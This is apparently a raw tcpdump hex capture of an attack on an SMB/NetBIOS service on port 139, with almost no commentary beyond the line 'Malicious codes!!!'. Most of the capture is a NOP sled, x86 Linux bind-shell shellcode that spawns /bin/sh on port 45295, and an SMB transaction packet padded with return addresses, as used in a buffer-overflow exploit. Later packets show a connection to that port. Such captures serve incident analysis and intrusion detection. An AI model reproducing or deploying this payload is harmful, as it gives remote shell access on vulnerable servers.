0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.729476 XX.XX.XXX.164.34142 > XXX.XX.X.137.45295: S 1759822937:1759822937(0) win 5840 <mss 1460,sackOK,timestamp 8865028 0,nop,wscale 0> (DF)
0x0000      4500 003c 815d 4000 2f06 9923 3e10 69a4  E..<.]@./..#>.i.
0x0010      800a 097d 855e b0ef 68e4 c459 0000 0000  ...}.^..h..Y....
0x0020      a002 16d0 56e4 0000 0204 05b4 0402 080a  ....V...........
0x0030      0087 4504 0000 0000 0103 0300            ..E.........
11:41:18.729573 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8865028 8427787>NBT Packet (DF)
0x0000      4500 0483 2870 4000 2f06 edc9 3e10 69a4  E...(p@./...>.i.
0x0010      800a 097d 8554 008b 69c0 775a 7004 2903  ...}.T..i.wZp.).
0x0020      8019 16d0 42c8 0000 0101 080a 0087 4504  ....B.........E.
0x0030      0080 990b 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.733938 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: S 1773305070:1773305070(0) win 5840 <mss 1460,sackOK,timestamp 8865031 0,nop,wscale 0> (DF)
0x0000      4500 003c 39e9 4000 2f06 e097 3e10 69a4  E..<9.@./...>.i.
0x0010      800a 097d 855f 008b 69b2 7cee 0000 0000  ...}._..i.|.....
0x0020      a002 16d0 4de2 0000 0204 05b4 0402 080a  ....M...........
0x0030      0087 4507 0000 0000 0103 0300            ..E.........
11:41:18.737912 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: . ack 3011 win 8688 <nop,nop,timestamp 8427807 8865028> (DF)
0x0000      4500 0034 b055 4000 4006 5933 800a 097d  E..4.U@.@.Y3...}
0x0010      3e10 69a4 008b 8554 7004 2903 69c0 775a  >.i....Tp.).i.wZ
0x0020      8010 21f0 4465 0000 0101 080a 0080 991f  ..!.De..........
0x0030      0087 4504                                ..E.
11:41:18.737922 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: . ack 3011 win 8688 <nop,nop,timestamp 8427807 8865028> (DF)
0x0000      4500 0034 b055 4000 4006 5933 800a 097d  E..4.U@.@.Y3...}
0x0010      3e10 69a4 008b 8554 7004 2903 69c0 775a  >.i....Tp.).i.wZ
0x0020      8010 21f0 4465 0000 0101 080a 0080 991f  ..!.De..........
0x0030      0087 4504                                ..E.
11:41:18.738056 XXX.XX.X.137.45295 > XX.XX.XXX.164.34142: S 1866787430:1866787430(0) ack 1759822938 win 5792 <mss 1460,sackOK,timestamp 8427807 8865028,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 855e 6f44 ea66 68e4 c45a  >.i....^oD.fh..Z
0x0020      a012 16a0 63b8 0000 0204 05b4 0402 080a  ....c...........
0x0030      0080 991f 0087 4504 0103 0300            ......E.....
11:41:18.738058 XXX.XX.X.137.45295 > XX.XX.XXX.164.34142: S 1866787430:1866787430(0) ack 1759822938 win 5792 <mss 1460,sackOK,timestamp 8427807 8865028,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 855e 6f44 ea66 68e4 c45a  >.i....^oD.fh..Z
0x0020      a012 16a0 63b8 0000 0204 05b4 0402 080a  ....c...........
0x0030      0080 991f 0087 4504 0103 0300            ......E.....
11:41:18.738180 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: S 1864611706:1864611706(0) ack 1773305071 win 5792 <mss 1460,sackOK,timestamp 8427807 8865031,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 855f 6f23 b77a 69b2 7cef  >.i...._o#.zi.|.
0x0020      a012 16a0 8dc3 0000 0204 05b4 0402 080a  ................
0x0030      0080 991f 0087 4507 0103 0300            ......E.....
11:41:18.738183 XXX.XX.X.137.139 > XX.XX.XXX.164.34143: S 1864611706:1864611706(0) ack 1773305071 win 5792 <mss 1460,sackOK,timestamp 8427807 8865031,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 855f 6f23 b77a 69b2 7cef  >.i...._o#.zi.|.
0x0020      a012 16a0 8dc3 0000 0204 05b4 0402 080a  ................
0x0030      0080 991f 0087 4507 0103 0300            ......E.....
11:41:18.739838 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427807 8865028> (DF)
0x0000      4500 0034 b056 4000 4006 5932 800a 097d  E..4.V@.@.Y2...}
0x0010      3e10 69a4 008b 8554 7004 2903 69c0 7baa  >.i....Tp.).i.{.
0x0020      8014 2d40 34c1 0000 0101 080a 0080 991f  ..-@4...........
0x0030      0087 4504                                ..E.
11:41:18.739847 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427807 8865028> (DF)
0x0000      4500 0034 b056 4000 4006 5932 800a 097d  E..4.V@.@.Y2...}
0x0010      3e10 69a4 008b 8554 7004 2903 69c0 7baa  >.i....Tp.).i.{.
0x0020      8014 2d40 34c1 0000 0101 080a 0080 991f  ..-@4...........
0x0030      0087 4504                                ..E.
11:41:18.790041 XX.XX.XXX.164.34140 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865059 8427794> (DF)
0x0000      4500 0034 3469 4000 2f06 e61f 3e10 69a4  E..44i@./...>.i.
0x0010      800a 097d 855c b0ef 6966 70b9 6f29 c1e6  ...}.\..ifp.o)..
0x0020      8010 16d0 0df9 0000 0101 080a 0087 4523  ..............E#
0x0030      0080 9912                                ....
11:41:18.790042 XX.XX.XXX.164.34140 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865059 8427794> (DF)
0x0000      4500 0034 346a 4000 2f06 e61e 3e10 69a4  E..44j@./...>.i.
0x0010      800a 097d 855c b0ef 6966 70b9 6f29 c1e6  ...}.\..ifp.o)..
0x0020      8011 16d0 0df8 0000 0101 080a 0087 4523  ..............E#
0x0030      0080 9912                                ....
11:41:18.791824 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8865060 8427795> (DF)
0x0000      4500 0034 796d 4000 2f06 a11b 3e10 69a4  E..4ym@./...>.i.
0x0010      800a 097d 855d 008b 69a2 3dbf 6f31 6937  ...}.]..i.=.o1i7
0x0020      8010 16d0 49c0 0000 0101 080a 0087 4524  ....I.........E$
0x0030      0080 9913                                ....
11:41:18.791826 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8865060 8427795>NBT Packet (DF)
0x0000      4500 0066 796e 4000 2f06 a0e8 3e10 69a4  E..fyn@./...>.i.
0x0010      800a 097d 855d 008b 69a2 3dbf 6f31 6937  ...}.]..i.=.o1i7
0x0020      8018 16d0 b0ad 0000 0101 080a 0087 4524  ..............E$
0x0030      0080 9913 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5209 6400 0100 00ff 0000 0000 2002  ..R.d...........
0x0060      0001 0000 0000                           ......
11:41:18.792605 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: . ack 51 win 5792 <nop,nop,timestamp 8427813 8865060> (DF)
0x0000      4500 0034 f012 4000 4006 1976 800a 097d  E..4..@.@..v...}
0x0010      3e10 69a4 008b 855d 6f31 6937 69a2 3df1  >.i....]o1i7i.=.
0x0020      8010 16a0 49ac 0000 0101 080a 0080 9925  ....I..........%
0x0030      0087 4524                                ..E$
11:41:18.792612 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: . ack 51 win 5792 <nop,nop,timestamp 8427813 8865060> (DF)
0x0000      4500 0034 f012 4000 4006 1976 800a 097d  E..4..@.@..v...}
0x0010      3e10 69a4 008b 855d 6f31 6937 69a2 3df1  >.i....]o1i7i.=.
0x0020      8010 16a0 49ac 0000 0101 080a 0080 9925  ....I..........%
0x0030      0087 4524                                ..E$
11:41:18.792974 XXX.XX.X.137.45295 > XX.XX.XXX.164.34140: . ack 2 win 5792 <nop,nop,timestamp 8427814 8865059> (DF)
0x0000      4500 0034 58c3 4000 4006 b0c5 800a 097d  E..4X.@.@......}
0x0010      3e10 69a4 b0ef 855c 6f29 c1e6 6966 70ba  >.i....\o)..ifp.
0x0020      8010 16a0 0e14 0000 0101 080a 0080 9926  ...............&
0x0030      0087 4523                                ..E#
11:41:18.792978 XXX.XX.X.137.45295 > XX.XX.XXX.164.34140: . ack 2 win 5792 <nop,nop,timestamp 8427814 8865059> (DF)
0x0000      4500 0034 58c3 4000 4006 b0c5 800a 097d  E..4X.@.@......}
0x0010      3e10 69a4 b0ef 855c 6f29 c1e6 6966 70ba  >.i....\o)..ifp.
0x0020      8010 16a0 0e14 0000 0101 080a 0080 9926  ...............&
0x0030      0087 4523                                ..E#
11:41:18.802540 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8865066 8427796> (DF)
0x0000      4500 0034 d3fe 4000 2f06 468a 3e10 69a4  E..4..@./.F.>.i.
0x0010      800a 097d 8558 008b 6949 97c6 6f77 0ae7  ...}.X..iI..ow..
0x0020      8010 16d0 4e1a 0000 0101 080a 0087 452a  ....N.........E*
0x0030      0080 9914                                ....
11:41:18.802740 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8865066 8427796>NBT Packet (DF)
0x0000      4500 0074 d3ff 4000 2f06 4649 3e10 69a4  E..t..@./.FI>.i.
0x0010      800a 097d 8558 008b 6949 97c6 6f77 0ae7  ...}.X..iI..ow..
0x0020      8018 16d0 aa5a 0000 0101 080a 0087 452a  .....Z........E*
0x0030      0080 9914 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5009 6400 0000 0000 0000 5c5c 6970  ..P.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.805258 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427815 8865060>NBT Packet (DF)
0x0000      4500 0061 f013 4000 4006 1948 800a 097d  E..a..@.@..H...}
0x0010      3e10 69a4 008b 855d 6f31 6937 69a2 3df1  >.i....]o1i7i.=.
0x0020      8018 16a0 cd23 0000 0101 080a 0080 9927  .....#.........'
0x0030      0087 4524 0000 0029 ff53 4d42 7300 0000  ..E$...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5209 6400 0100 03ff 0000 0001 0000  ..R.d...........
0x0060      00                                       .
11:41:18.805267 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427815 8865060>NBT Packet (DF)
0x0000      4500 0061 f013 4000 4006 1948 800a 097d  E..a..@.@..H...}
0x0010      3e10 69a4 008b 855d 6f31 6937 69a2 3df1  >.i....]o1i7i.=.
0x0020      8018 16a0 cd23 0000 0101 080a 0080 9927  .....#.........'
0x0030      0087 4524 0000 0029 ff53 4d42 7300 0000  ..E$...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5209 6400 0100 03ff 0000 0001 0000  ..R.d...........
0x0060      00                                       .
11:41:18.807247 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427816 8865066>NBT Packet (DF)
0x0000      4500 005f 93aa 4000 4006 75b3 800a 097d  E.._..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0ae7 6949 9806  >.i....Xow..iI..
0x0020      8018 16a0 d87a 0000 0101 080a 0080 9928  .....z.........(
0x0030      0087 452a 0000 0027 ff53 4d42 7000 0000  ..E*...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5009 6400 0000 02ff ff01 0000 00    ..P.d..........
11:41:18.807256 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427816 8865066>NBT Packet (DF)
0x0000      4500 005f 93aa 4000 4006 75b3 800a 097d  E.._..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0ae7 6949 9806  >.i....Xow..iI..
0x0020      8018 16a0 d87a 0000 0101 080a 0080 9928  .....z.........(
0x0030      0087 452a 0000 0027 ff53 4d42 7000 0000  ..E*...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 5009 6400 0000 02ff ff01 0000 00    ..P.d..........
11:41:18.820601 XXX.XX.X.137.45295 > XX.XX.XXX.164.34140: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427818 8865059> (DF)
0x0000      4500 0034 58c4 4000 4006 b0c4 800a 097d  E..4X.@.@......}
0x0010      3e10 69a4 b0ef 855c 6f29 c1e6 6966 70ba  >.i....\o)..ifp.
0x0020      8011 16a0 0e0f 0000 0101 080a 0080 992a  ...............*
0x0030      0087 4523                                ..E#
11:41:18.820610 XXX.XX.X.137.45295 > XX.XX.XXX.164.34140: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427818 8865059> (DF)
0x0000      4500 0034 58c4 4000 4006 b0c4 800a 097d  E..4X.@.@......}
0x0010      3e10 69a4 b0ef 855c 6f29 c1e6 6966 70ba  >.i....\o)..ifp.
0x0020      8011 16a0 0e0f 0000 0101 080a 0080 992a  ...............*
0x0030      0087 4523                                ..E#
 

Malicious codes!!!

11:41:18.835150 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8865082 8427800>NBT Packet (DF)
0x0000      4500 05dc 2cd5 4000 2f06 e80b 3e10 69a4  E...,.@./...>.i.
0x0010      800a 097d 8557 008b 6989 6956 6f43 52e6  ...}.W..i.iVoCR.
0x0020      8010 16d0 8089 0000 0101 080a 0087 453a  ..............E:
0x0030      0080 9918 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 903c  .............p.<
0x0480      f7ff bfcc f7ff bf3c f7ff bfcc f7ff bf3c  .......<.......<
0x0490      f7ff bfcc f7ff bf3c f7ff bfcc f7ff bf3c  .......<.......<
0x04a0      f7ff bfcc f7ff bf3c f7ff bfcc f7ff bf3c  .......<.......<
0x04b0      f7ff bfcc f7ff bf3c f7ff bfcc f7ff bf3c  .......<.......<
0x04c0      f7ff bfcc f7ff bf3c f7ff bfcc f7ff bf3c  .......<.......<
0x04d0      f7ff bfcc f7ff bf3c f7ff bfcc f7ff bf90  .......<........
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
